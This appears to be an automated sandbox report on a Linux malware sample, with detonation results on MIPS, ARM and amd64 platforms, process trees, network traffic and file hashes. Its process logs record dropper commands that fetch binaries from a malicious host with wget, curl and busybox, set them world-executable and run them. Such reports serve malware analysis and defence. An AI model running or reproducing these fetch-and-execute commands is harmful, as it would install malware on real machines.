Analysis Overview
SHA256
154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7
Threat Level: Shows suspicious behavior
The file 154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Executes dropped EXE
Checks CPU configuration
Writes file to tmp directory
Reads runtime system information
System Network Configuration Discovery
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 08:56
Signatures
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 08:56
Reported
2024-11-25 08:58
Platform
debian9-mipsbe-20240418-en
Max time kernel
119s
Max time network
81s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G | /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G | /usr/bin/curl | N/A |
Processes
/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N
[/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
/bin/chmod
[chmod 777 fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
[./fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
/bin/rm
[rm fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 08:56
Reported
2024-11-25 08:58
Platform
debian9-mipsel-20240226-en
Max time kernel
8s
Max time network
78s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
Processes
/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N
[/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 08:56
Reported
2024-11-25 08:58
Platform
ubuntu1804-amd64-20240729-en
Max time kernel
119s
Max time network
66s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N
[/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| N/A | 224.0.0.251:5353 | udp | |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.62:443 | tcp | |
| US | 151.101.129.91:443 | tcp | |
| US | 151.101.129.91:443 | tcp | |
| GB | 89.187.167.39:443 | tcp | |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| GB | 84.17.50.8:443 | 1527653184.rsc.cdn77.org | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 08:56
Reported
2024-11-25 08:58
Platform
debian9-armhf-20240729-en
Max time kernel
119s
Max time network
2s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N
[/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |